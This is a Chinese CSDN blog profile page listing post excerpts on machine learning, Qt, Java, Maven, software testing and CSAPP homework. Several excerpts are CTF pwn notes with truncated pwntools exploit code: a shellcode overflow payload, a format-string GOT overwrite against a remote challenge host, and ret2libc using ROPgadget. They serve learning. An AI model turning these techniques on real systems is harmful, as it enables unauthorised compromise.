Carrot_kexin
码龄6年
求更新 关注
提问 私信
  • 博客:81,583
    问答:1,681
    动态:5
    83,269
    总访问量
  • 47
    原创
  • 46
    粉丝
  • 80
    关注
IP属地以运营商信息为准,境内显示到省(区、市),境外显示到国家(地区)
IP 属地:上海市
加入CSDN时间: 2019-12-02
博客简介:

Carrot_kexin的博客

查看详细资料
个人成就
  • 获得77次点赞
  • 内容获得22次评论
  • 获得525次收藏
  • 代码片获得1,227次分享
  • 博客总排名1,330,821名
创作历程
  • 45篇
    2021年
  • 2篇
    2020年
成就勋章

TA关注的专栏 0

TA关注的收藏夹 0

TA关注的社区 0

TA参与的活动 0

兴趣领域 设置
  • 人工智能
    机器学习
创作活动更多

王者杯·14天创作挑战营·第2期

这是一个以写作博客为目的的创作活动,旨在鼓励码龄大于4年的博主们挖掘自己的创作潜能,展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴,那么,快来参加吧!我们一起发掘写作的魅力,书写出属于我们的故事。 注: 1、参赛者可以进入活动群进行交流、分享创作心得,互相鼓励与支持(开卷),答疑及活动群请见https://bbs.csdn.net/topics/619735097 2、文章质量分查询:https://www.csdn.net/qc 我们诚挚邀请你们参加为期14天的创作挑战赛!

66人参与 去参加
  • 最近
  • 文章
  • 专栏
  • 代码仓
  • 资源
  • 收藏
  • 关注/订阅/互动
更多
  • 最近

  • 文章

  • 专栏

  • 代码仓

  • 资源

  • 收藏

  • 关注/订阅/互动

  • 社区

  • 帖子

  • 问答

  • 课程

  • 视频

搜索 取消

Logistics Regression公式推导

以前一直以为逻辑回归的公式(sigmoid函数)是人为臆造的,学了机器学习课程才知道,它的背后是有贝叶斯定理这样的数学理论支撑的。回顾贝叶斯分类器,贝叶斯分类器是一种生成式学习方。为了获取P(Y∣X)P(Y|X)P(Y∣X),我们将它转化为P(Y)P(Y)P(Y)和P(X|Y),然后从数据集中估计这两个参数。那么问题来了,我们是否可以直接估计P(Y∣X)P(Y|X)P(Y∣X)呢?在逻辑回归模型中,我们做如下假设:设XXX是一个实数值矩阵,表示nnn个特征,<X1,X2,…,Xn><
原创
发布博客 2021.10.20 ·
428 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

Sentinel圣天诺加密狗简单使用教程(Linux)

前言:帮学校的学长做了个Ubuntu的软件,需要给软件加密,用到了加密狗,在网上挑了很多,大都不支持Linux下ELF文件的加密,最后终于找到了Sentinel加密狗支持我们的需求,当然这个进口货也很贵,写一篇博客来记录一下使用方法。环境配置购买Sentinel的加密狗一般包括两个U盘,一个是主锁(Master key),一个是子锁。主锁只能用来加密,不能用来解密;子锁只能用来解密,不能用来加密。例如下图,我购买的产品,蓝色的是主锁,紫色的子锁。一般而言,主锁比较贵(例如我们购买的主锁400多RMB),
原创
发布博客 2021.10.17 ·
15823 阅读 ·
4 点赞 ·
1 评论 ·
22 收藏

pwntools连gdb一例

from pwn import *context(os='linux', arch='amd64', log_level='debug')shellcode = asm(shellcraft.sh())io = process('./shellcode')gdb.attach(io, 'b *0x4012b7')name_addr = 0x4040a0payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0)io.rec
原创
发布博客 2021.10.17 ·
588 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

通过系统调用open来查看flag

这段代码中while有一个无法退出的循环,不能通过ROP获取flag,只能在代码中执行open函数。我们希望构造这样的代码来拿到flag:int fd = open("flag", READONLY);read(fd, buf, 100);print(buf);在程序中寻找可以利用的修改rax、rdi、rsi、rdx的语句(64位程序通过寄存器传参,rax用于系统调用):具体能利用的地方在:0x4008a1 : pop rsi ; pop r15 ; ret0x4008a3 : .
原创
发布博客 2021.10.17 ·
334 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

64位传参利用方法&LibcSearcher使用入门&ROPgadget利用

ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。在程序中寻找pop %rdi需要一个叫ROPgadget的工具。Linux指令:ROPgadget --binary pwn | grep "pop rdi"查到在程序的0x400763地址处存在一个
原创
发布博客 2021.10.17 ·
1344 阅读 ·
2 点赞 ·
0 评论 ·
7 收藏

字符串格式化漏洞修改GOT表一例

代码如下:from pwn import *context(arch='amd64', os='linux')elf = ELF("./pwn")io = remote("111.200.241.244", 56315)catflag_addr = 0x4008DAputs_got = elf.got['puts']payload = fmtstr_payload(6, {puts_got: catflag_addr})io.recvuntil("3. Exit the battle")i
原创
发布博客 2021.10.17 ·
1092 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

pwn入门-PLT表与GOT表、libc入门

动态链接时,一个程序PLT表中的内容始终不变,仅在程序加载时修改GOT表中的内容。PLT表中的每个表项指向对应函数在GOT表中的地址(偏移),每次加载程序都相同。程序加载后GOT表中的每个表项保存的是函数在共享区的绝对地址,每次加载都不相同。代码如下:from pwn import *io = remote("111.200.241.244", 49167)elf = ELF("./level3")libc = ELF("./libc_32.so.6")write_plt = elf.plt[
原创
发布博客 2021.10.17 ·
1032 阅读 ·
0 点赞 ·
0 评论 ·
2 收藏

QT学习笔记

首先安装QT时要选择下面三个组件:然后新建工程,我们用QWidget类作为父类。在main方法中,第一句QApplication a(argc, argv);a是应用程序对象,有且仅有一个Widget w; //窗口对象,继承自QWidget窗口对象默认不会显式,需要调用show方法显式窗口w.show();最后一行return a.exec();的作用是让应用程序对象a进入消息循环机制,让代码阻塞在这一行,点击叉之后退出循环,程序结束。然后来看widget.cpp,所写程序的大部分
原创
发布博客 2021.10.15 ·
186 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

如何设计复用性较好的类?

代码复用的几个级别:源代码级别的复用模块级别的复用(类/抽象类/接口)库级别的复用(API)系统级别的复用:框架白盒复用:源代码可见、可扩展、可修改黑盒复用:源代码不可见,只可调用API找源代码的几个网站:grepcode.comgithub.comsearchcode.com本文主要介绍模块级别的复用——类/接口复用一个类的方式——继承、委托继承继承时,子类将继承父类的所有功能。子类可以override父类的功能,也可以在父类的基础上,增加新的功能。在实现继承类之前,最
原创
发布博客 2021.10.15 ·
278 阅读 ·
1 点赞 ·
0 评论 ·
1 收藏

两种重要的图——Snapshot diagram & UML diagram

Snapshot diagram (代码快照图)用于描述程序运行时的内部状态,包括堆和栈的调用。刻画各类变化随时间的变化,描述各类概念如:原始类型/对象类型,不可变对象/可变对象,引用别名刻画基本类型的值:直接用一个箭头指向它。刻画对象类型的值:用圈圈起来,再用一个箭头指向它,在圈的里面有一个label来标识它的类型。圈的内部可以包含类的各个属性(基本类型/对象类型),一个箭头由属性的名字指向属性的值。不可变对象的值用双线椭圆来表示,如String,下图中s所指向的String对象就发生了改
原创
发布博客 2021.10.15 ·
387 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

ICS大作业——程序人生 Hello‘s P2P

原创
发布博客 2021.10.15 ·
146 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

通俗理解checked Exception和unchecked Exception

首先放一张Java异常层次结构图:错误(Error)和异常(Exception)是不同的。Error(错误):是程序无法处理的错误,表示运行应用程序中较严重问题。大多数错误与代码编写者执行的操作无关,而表示代码运行时JVM(Java虚拟机)出现的问题。例如,Java虚拟机运行错误(Virtual MachineError),当JVM不再有继续执行操作所需要的内存资源时,将出现OutOfMemoryError。这些异常发生时,Java虚拟机(JVM)一般会选择线程终止。Exception(异常):是程
原创
发布博客 2021.10.15 ·
2513 阅读 ·
2 点赞 ·
0 评论 ·
13 收藏

一个write和printf混用的例子

我们知道,C语言中,write和printf都可以完成向屏幕输出的任务。但是write是不带缓冲的输出,printf是带缓冲的输出。当它们二者混用时,就会出现一些意料之外的问题。请看下面的代码#include <stdio.h>#include <unistd.h>int main(){ printf("1"); write(STDOUT_FILENO, "2", 1); printf("3"); write(STDOUT_FILENO,
原创
发布博客 2021.10.15 ·
662 阅读 ·
2 点赞 ·
0 评论 ·
2 收藏

程序人生 Hello‘s P2P

原创
发布博客 2021.10.15 ·
152 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

程序人生 Hello‘s P2P

原创
发布博客 2021.10.15 ·
152 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

Testing and Test-First Programming

Testing levelsUnit testing 单元测试测试某一小部分代码的正确性,尤其是测试某个函数。Integration testing 集成测试The combined execution of 2 or more classes, packages, components, subsystems that have been created by multiple programmers or programming teams.System testing 系统测试测试一整个
原创
发布博客 2021.10.15 ·
239 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

软件构造的视图与质量指标

软件构造的实质:Transformation between different views(不同视图之间的转换)Multi-dimensional software views按阶段分:build and run-time views按动态性分:moment and period views按构造对象的层次分:code and component viewsTransformation between different viewsNothing -> CodeCode ->
原创
发布博客 2021.10.15 ·
263 阅读 ·
0 点赞 ·
0 评论 ·
1 收藏

Maven学习笔记

Maven的基本概念Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project’s build, reporting and documentation from a central piece of information.使用Maven可以方便地进行项目依赖管理
原创
发布博客 2021.10.15 ·
155 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

Eclipse中Git的使用与Junit单元测试的编写

目录新建项目添加项目到Git复习Git命令行操作在eclipse中使用git的基本操作在eclipse中使用git pusheclipse中Junit的使用新建项目首先在eclipse中新建一个Java project,取名为ExamplePrj。注意在创建项目时可以选择项目路径、JRE版本,这里我们都选择默认设置。然后直接Finish。这里默认会创建一个module-info,直接取默认名字,Create即可。这一步仍然点击默认的open。创建成功,在Package E
原创
发布博客 2021.10.12 ·
303 阅读 ·
0 点赞 ·
0 评论 ·
0 收藏

CSAPP第4章家庭作业参考答案

4.45不正确push %rsp的指令会将rsp减8之前的old value压栈应该是如下代码:movq REG, -8(%rsp)sub $8, %rsp4.46不正确应该改为add $8, %rspmovq -8(%rsp), REG4.47#include<stdio.h>long int a[100] = {3, 1, 4, 1, 5, 9, 2, 6, 5, 3};void bubble_b(long *data, long count){ lon
原创
发布博客 2021.10.12 ·
1423 阅读 ·
0 点赞 ·
0 评论 ·
12 收藏
加载更多